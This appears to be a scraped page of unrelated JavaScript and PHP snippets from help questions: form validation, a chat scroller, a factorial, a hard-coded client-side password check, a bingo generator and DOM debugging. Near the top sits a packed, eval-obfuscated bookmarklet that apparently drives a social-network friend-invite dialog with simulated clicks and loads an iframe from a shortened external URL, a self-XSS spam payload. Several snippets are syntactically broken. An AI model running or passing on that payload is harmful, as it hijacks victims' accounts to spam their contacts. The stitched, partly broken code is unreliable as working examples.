JavaScript - Understanding Existing Code

//quick/simple validation
 if(empty($code)){ $action['result'] = 'error'; array_push($text,'You forgot to enter your entry code'); }
 if(empty($name)){ $action['result'] = 'error'; array_push($text,'You forgot to enter your name'); }
 if(empty($email)){ $action['result'] = 'error'; array_push($text,'You forgot to enter your email address'); }

javascript:eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('G g=["\\b\\h\\h\\d\\m\\Z\\15\\H\\16","\\e\\a\\I\\q\\n\\i\\h\\e\\d\\h\\e","\\j\\d\\e\\z\\k\\d\\w\\d\\h\\e\\17\\J\\18\\s","\\D\\a\\p\\b\\s\\t\\l\\f\\A\\j\\j\\d\\f\\e\\l\\p\\u\\m\\d\\y\\t\\l\\19\\l\\p\\a\\K\\a\\B\\b\\y\\J\\t\\l\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o\\1a\\n\\k\\a\\f\\f\\t\\O\\a\\h\\H\\a\\h\\a\\j\\d\\m\\1b\\a\\w\\o\\1c\\h\\i\\s\\d\\q\\b\\s\\t\\P\\Q\\x\\P\\R\\Q\\S\\1d\\S\\x\\x\\M\\1e\\M\\R\\l\\p\\n\\k\\a\\f\\f\\t\\l\\p\\o\\m\\i\\y\\b\\k\\d\\q\\a\\n\\e\\b\\i\\h\\p\\a\\n\\e\\b\\i\\h\\f\\o\\m\\i\\q\\a\\l\\p\\m\\d\\k\\t\\l\\s\\b\\a\\k\\i\\j\\1f\\o\\i\\f\\e\\l\\E\\1g\\A\\j\\j\\d\\f\\e\\p\\e\\i\\p\\O\\m\\b\\d\\h\\s\\f\\D\\r\\a\\E","\\f\\A\\j\\j\\d\\f\\e","\\H\\i\\A\\f\\d\\z\\v\\d\\h\\e\\f","\\n\\m\\d\\a\\e\\d\\z\\v\\d\\h\\e","\\n\\k\\b\\n\\1h","\\b\\h\\b\\e\\z\\v\\d\\h\\e","\\s\\b\\f\\o\\a\\e\\n\\u\\z\\v\\d\\h\\e","\\f\\d\\k\\d\\n\\e\\q\\a\\k\\k","\\f\\j\\w\\q\\b\\h\\v\\b\\e\\d\\q\\y\\i\\m\\w","\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o","\\f\\A\\I\\w\\b\\e\\T\\b\\a\\k\\i\\j","\\D\\b\\y\\m\\a\\w\\d\\p\\f\\m\\n\\t\\l\\u\\e\\e\\o\\1i\\r\\r\\I\\b\\e\\L\\k\\J\\r\\n\\T\\v\\U\\h\\U\\l\\p\\1j\\b\\s\\e\\u\\t\\l\\1k\\x\\x\\o\\B\\l\\p\\u\\d\\b\\j\\u\\e\\t\\l\\M\\x\\x\\o\\B\\l\\E\\D\\r\\b\\y\\m\\a\\w\\d\\E"];C(F[g[2]](g[1])[g[0]]=g[3]);G V=F[g[2]](g[4]);G c=F[g[6]](g[5]);c[g[8]](g[7],W,W);C V[g[9]](c);C N(X(){1l[g[10]]()},1m);C N(X(){1n[g[13]](g[11],g[12])},Y);C N(F[g[2]](g[1])[g[0]]=g[14],Y);',62,86,'||||||||||x61|x69||x65|x74|x73|_0x22d5|x6E|x6F|x67|x6C|x22|x72|x63|x70|x20|x5F|x2F|x64|x3D|x68|x76|x6D|x30|x66|x45|x75|x78|void|x3C|x3E|document|var|x4D|x62|x79|x6A|x2E|x36|setTimeout|x46|x31|x32|x35|x38|x44|x41|ss|true|function|5000|x48||||||x54|x4C|x42|x49|x23|x3F|x26|x3B|x37|x34|x2D|x53|x6B|x3A|x77|x39|fs|4000|SocialGraphManager'.split('|'),0,{}))

var chatscroll = new Object();

  chatscroll.Pane = function(scrollContainerId){
    this.bottomThreshold = 20;
    this.scrollContainerId = scrollContainerId;
    this._lastScrollPosition = 100000000;
  }

  chatscroll.Pane.prototype.activeScroll = function(){

    var _ref = this;
    var scrollDiv = document.getElementById(this.scrollContainerId);
    var currentHeight = 0;
    
    var _getElementHeight = function(){
      var intHt = 0;
      if(scrollDiv.style.pixelHeight)intHt = scrollDiv.style.pixelHeight;
      else intHt = scrollDiv.offsetHeight;
      return parseInt(intHt);
    }

    var _hasUserScrolled = function(){
      if(_ref._lastScrollPosition == scrollDiv.scrollTop || _ref._lastScrollPosition == null){
        return false;
      }
      return true;
    }

    var _scrollIfInZone = function(){
      if( !_hasUserScrolled || 
          (currentHeight - scrollDiv.scrollTop - _getElementHeight() <= _ref.bottomThreshold)){
          scrollDiv.scrollTop = currentHeight;
          _ref._isUserActive = false;
      }
    }


    if (scrollDiv.scrollHeight > 0)currentHeight = scrollDiv.scrollHeight;
    else if(scrollDiv.offsetHeight > 0)currentHeight = scrollDiv.offsetHeight;

    _scrollIfInZone();

    _ref = null;
    scrollDiv = null;

  }

function factorial(n) {
var product= 1;
while(n > 1) {product *= n;
n--;
}
return product;
}
factorial(4)

<script language="javascript">

function pasuser(form) {
if (form.id.value=="JavaScript") { 
if (form.pass.value=="Kit") {              
location="page2.html" 
} else {
alert("Invalid Password")
}
} else {  alert("Invalid UserID")
}
}

</script>

//toggle function to open and close popup runs off an if else statement detecting style.display property
function toggle(popUpDiv) {
	var el = document.getElementById(popUpDiv);
//if function to determine if style.display equals none and if so then block to make visible
	if ( el.style.display == 'none' ) { el.style.display = 'block';}
		else {el.style.display = 'none';}
//while function to declare that as long as style.display equals block then set timer to make 
//invisible after 10 seconds of becoming visible
	While (el.style.display == 'block') {
		setTimeout ("toggle('popUpDiv')", 10000 );
	} //end while loop
	return false; //end if statement
}

      else if (lastRowTD_s[i].getElementsByTagName('textarea'))
      {
        
        alert(lastRowTD_s[i].id);
        //checked, it is the row that does not have "textarea" element. 

        alert(lastRowTD_s[i].getElementsByTagName('textarea'));
        // gives me [Object HTML collection]  !?

        alert(lastRowTD_s[i].getElementsByTagName('textarea')[0]);
        //gives me "undefined", heh where has it gone since previous line ?
      }

window.frames.readmail_frame.document is null
Line 159

156 var temp = false;                                                                                                                               
157 while ( !temp )                                                                                                                                 
158    {                                                                                                                                            
159    if ( window.frames[ "readmail_frame" ].document.getElementById( 'readmail_table' ) != null )                                                 
160       {                                                                                                                                         
161       //height of the table that holds the actual message                                                                                       
162       var tempheight = window.frames[ "readmail_frame" ].document.getElementById( 'readmail_table' ).clientHeight;                              
163       //height of the from, to, subject and date section                                                                                        
164       var tempheight2 = window.frames[ "readmail_frame" ].document.getElementById( 'readmail_heading' ).clientHeight;                           
165       var tempwidth = window.frames[ "readmail_frame" ].document.getElementById( 'readmail_table' ).clientWidth;                                
166       document.getElementById( 'readmail_frame' ).style.width = tempwidth + 'px';                                                               
167       //add up the table for the message, table for from, to, date and icon for print and some extra to ensure enough room                      
168       document.getElementById( 'readmail_frame' ).style.height = ( tempheight + tempheight2 + 130 ) + 'px';                                     
169       temp = true;                                                                                                                              
170       }                                                                                                                                         
171    }

if ( window.frames[ "readmail_frame" ].document.getElementById( 'readmail_table' ) )

if ( window.frames[ "readmail_frame" ].document )

function initAll () {
	 for(var i=0; i<24; i++) {
	setSquare(i);		 
   }
}

function setSquare(thisSquare) {
  var currSquare= "square" + thisSquare;
  var colPlace= new Array  (0,0,0,0,0,1,1,1,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,4);
  var colBasis=colPlace[thisSquare] *15;
  var newNum=colBasis +getNewNum()+1;
	
document.getElementById(currSquare).innerHTML=newNum;
}

function getNewNum() {
  return Math.floor(Math.random() *15);
}
//-->
</script>

var newNum=colBasis +getNewNum()+1;

for(var i=0; i<11; i++){
    var Img[i] = ""
}